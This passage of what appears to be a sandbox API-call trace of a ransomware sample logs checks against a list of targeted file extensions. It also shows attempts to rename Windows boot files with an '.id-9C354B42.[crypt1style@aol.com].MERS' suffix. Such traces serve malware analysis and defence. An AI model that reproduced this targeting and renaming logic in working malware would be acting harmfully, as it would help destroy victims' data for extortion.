(lpString=".zip") returned 4 [0258.115] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".rar") returned 4 [0258.115] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".bz2") returned 4 [0258.115] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString=".7z") returned 3 [0258.115] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW (lpString=".dbf") returned 4 [0258.115] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0258.115] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.115] lstrlenW (lpString=".1cd") returned 4 [0258.115] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0258.116] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0258.116] lstrlenW (lpString=".jpg") returned 4 [0258.116] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0258.116] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0258.116] lstrlenW (lpString="kor_boot.ttf") returned 12 [0258.116] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.142] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=2371360) returned 1 [0258.142] CloseHandle (hObject=0x2f0) returned 1 [0258.143] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0258.143] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.143] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0258.143] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.143] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.143] lstrlenW (lpString=".doc") returned 4 [0258.143] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString=".docx") returned 5 [0258.143] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.143] lstrlenW (lpString=".pdf") returned 4 [0258.143] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString=".xls") returned 4 [0258.143] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.143] lstrlenW (lpString=".xlsx") returned 5 [0258.143] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.143] lstrlenW (lpString=".ppt") returned 4 [0258.143] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.143] lstrlenW (lpString=".zip") returned 4 [0258.143] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0258.143] lstrlenW (lpString=".rar") returned 4 [0258.143] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString=".bz2") returned 4 [0258.143] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString=".7z") returned 3 [0258.143] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.143] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.143] lstrlenW (lpString=".dbf") returned 4 [0258.143] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.143] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.143] lstrlenW (lpString=".1cd") returned 4 [0258.143] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".jpg") returned 4 [0258.144] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".doc") returned 4 [0258.144] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString=".docx") returned 5 [0258.144] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.144] lstrlenW (lpString=".pdf") returned 4 [0258.144] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString=".xls") returned 4 [0258.144] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.144] lstrlenW (lpString=".xlsx") returned 5 [0258.144] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.144] lstrlenW (lpString=".ppt") returned 4 [0258.144] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".zip") returned 4 [0258.144] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0258.144] lstrlenW (lpString=".rar") returned 4 [0258.144] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString=".bz2") returned 4 [0258.144] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString=".7z") returned 3 [0258.144] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".dbf") returned 4 [0258.144] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".1cd") returned 4 [0258.144] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.144] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0258.144] lstrlenW (lpString=".jpg") returned 4 [0258.145] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.145] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.145] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.145] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.146] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=93248) returned 1 [0258.146] CloseHandle (hObject=0x2f0) returned 1 [0258.146] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0258.146] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.146] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.146] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.146] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.146] lstrlenW (lpString=".doc") returned 4 [0258.146] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.146] lstrlenW (lpString=".docx") returned 5 [0258.146] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.146] lstrlenW (lpString=".pdf") returned 4 [0258.146] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString=".xls") returned 4 [0258.147] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString=".xlsx") returned 5 [0258.147] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.147] lstrlenW (lpString=".ppt") returned 4 [0258.147] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString=".zip") returned 4 [0258.147] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString=".rar") returned 4 [0258.147] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString=".bz2") returned 4 [0258.147] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.147] lstrlenW (lpString=".7z") returned 3 [0258.147] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString=".dbf") returned 4 [0258.147] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString=".1cd") returned 4 [0258.147] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString=".jpg") returned 4 [0258.147] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.147] lstrlenW (lpString=".doc") returned 4 [0258.147] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.147] lstrlenW (lpString=".docx") returned 5 [0258.147] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.147] lstrlenW (lpString=".pdf") returned 4 [0258.147] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.147] lstrlenW (lpString=".xls") returned 4 [0258.147] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.148] lstrlenW (lpString=".xlsx") returned 5 [0258.148] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.148] lstrlenW (lpString=".ppt") returned 4 [0258.148] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.148] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.148] lstrlenW (lpString=".zip") returned 4 [0258.148] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.148] lstrlenW (lpString=".rar") returned 4 [0258.148] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.148] lstrlenW (lpString=".bz2") returned 4 [0258.148] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.148] lstrlenW (lpString=".7z") returned 3 [0258.148] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.148] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.148] lstrlenW (lpString=".dbf") returned 4 [0258.148] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.148] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.148] lstrlenW (lpString=".1cd") returned 4 [0258.148] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.148] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0258.148] lstrlenW (lpString=".jpg") returned 4 [0258.148] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.148] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.148] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.148] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.148] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=90688) returned 1 [0258.148] CloseHandle (hObject=0x2f0) returned 1 [0258.149] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0258.149] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.149] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.149] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.149] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.149] lstrlenW (lpString=".doc") returned 4 [0258.149] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.149] lstrlenW (lpString=".docx") returned 5 [0258.149] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.149] lstrlenW (lpString=".pdf") returned 4 [0258.149] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.149] lstrlenW (lpString=".xls") returned 4 [0258.149] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.149] lstrlenW (lpString=".xlsx") returned 5 [0258.149] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.149] lstrlenW (lpString=".ppt") returned 4 [0258.149] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.149] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.149] lstrlenW (lpString=".zip") returned 4 [0258.149] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.149] lstrlenW (lpString=".rar") returned 4 [0258.149] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.149] lstrlenW (lpString=".bz2") returned 4 [0258.149] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.149] lstrlenW (lpString=".7z") returned 3 [0258.149] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.149] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.149] lstrlenW (lpString=".dbf") returned 4 [0258.149] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.149] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.149] lstrlenW (lpString=".1cd") returned 4 [0258.150] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString=".jpg") returned 4 [0258.150] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString=".doc") returned 4 [0258.150] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString=".docx") returned 5 [0258.150] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.150] lstrlenW (lpString=".pdf") returned 4 [0258.150] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.150] lstrlenW (lpString=".xls") returned 4 [0258.150] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.150] lstrlenW (lpString=".xlsx") returned 5 [0258.150] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.150] lstrlenW (lpString=".ppt") returned 4 [0258.150] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString=".zip") returned 4 [0258.150] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.150] lstrlenW (lpString=".rar") returned 4 [0258.150] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.150] lstrlenW (lpString=".bz2") returned 4 [0258.150] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString=".7z") returned 3 [0258.150] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString=".dbf") returned 4 [0258.150] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.150] lstrlenW (lpString=".1cd") returned 4 [0258.150] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.150] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0258.151] lstrlenW (lpString=".jpg") returned 4 [0258.151] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.151] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.151] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.151] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.151] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=90704) returned 1 [0258.151] CloseHandle (hObject=0x2f0) returned 1 [0258.151] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0258.151] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.151] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.152] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.152] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.152] lstrlenW (lpString=".doc") returned 4 [0258.152] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.152] lstrlenW (lpString=".docx") returned 5 [0258.152] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.152] lstrlenW (lpString=".pdf") returned 4 [0258.152] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.152] lstrlenW (lpString=".xls") returned 4 [0258.152] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.152] lstrlenW (lpString=".xlsx") returned 5 [0258.152] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.152] lstrlenW (lpString=".ppt") returned 4 [0258.152] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.152] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.152] lstrlenW (lpString=".zip") returned 4 [0258.152] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.152] lstrlenW (lpString=".rar") returned 4 [0258.152] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.152] lstrlenW (lpString=".bz2") returned 4 [0258.152] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.152] lstrlenW (lpString=".7z") returned 3 [0258.152] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.152] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.152] lstrlenW (lpString=".dbf") returned 4 [0258.152] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.152] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.152] lstrlenW (lpString=".1cd") returned 4 [0258.153] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString=".jpg") returned 4 [0258.153] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString=".doc") returned 4 [0258.153] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.153] lstrlenW (lpString=".docx") returned 5 [0258.153] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.153] lstrlenW (lpString=".pdf") returned 4 [0258.153] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.153] lstrlenW (lpString=".xls") returned 4 [0258.153] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.153] lstrlenW (lpString=".xlsx") returned 5 [0258.153] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.153] lstrlenW (lpString=".ppt") returned 4 [0258.153] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString=".zip") returned 4 [0258.153] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.153] lstrlenW (lpString=".rar") returned 4 [0258.153] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.153] lstrlenW (lpString=".bz2") returned 4 [0258.153] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.153] lstrlenW (lpString=".7z") returned 3 [0258.153] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString=".dbf") returned 4 [0258.153] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.153] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.153] lstrlenW (lpString=".1cd") returned 4 [0258.153] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.154] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0258.154] lstrlenW (lpString=".jpg") returned 4 [0258.154] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.154] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.154] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.154] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.154] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=76352) returned 1 [0258.154] CloseHandle (hObject=0x2f0) returned 1 [0258.154] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0258.154] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.154] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.154] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.154] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.154] lstrlenW (lpString=".doc") returned 4 [0258.154] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.154] lstrlenW (lpString=".docx") returned 5 [0258.154] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.154] lstrlenW (lpString=".pdf") returned 4 [0258.154] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.154] lstrlenW (lpString=".xls") returned 4 [0258.154] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.154] lstrlenW (lpString=".xlsx") returned 5 [0258.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.155] lstrlenW (lpString=".ppt") returned 4 [0258.155] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString=".zip") returned 4 [0258.155] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.155] lstrlenW (lpString=".rar") returned 4 [0258.155] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.155] lstrlenW (lpString=".bz2") returned 4 [0258.155] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.155] lstrlenW (lpString=".7z") returned 3 [0258.155] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString=".dbf") returned 4 [0258.155] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString=".1cd") returned 4 [0258.155] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString=".jpg") returned 4 [0258.155] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.155] lstrlenW (lpString=".doc") returned 4 [0258.155] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.155] lstrlenW (lpString=".docx") returned 5 [0258.155] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.155] lstrlenW (lpString=".pdf") returned 4 [0258.155] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.155] lstrlenW (lpString=".xls") returned 4 [0258.155] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.155] 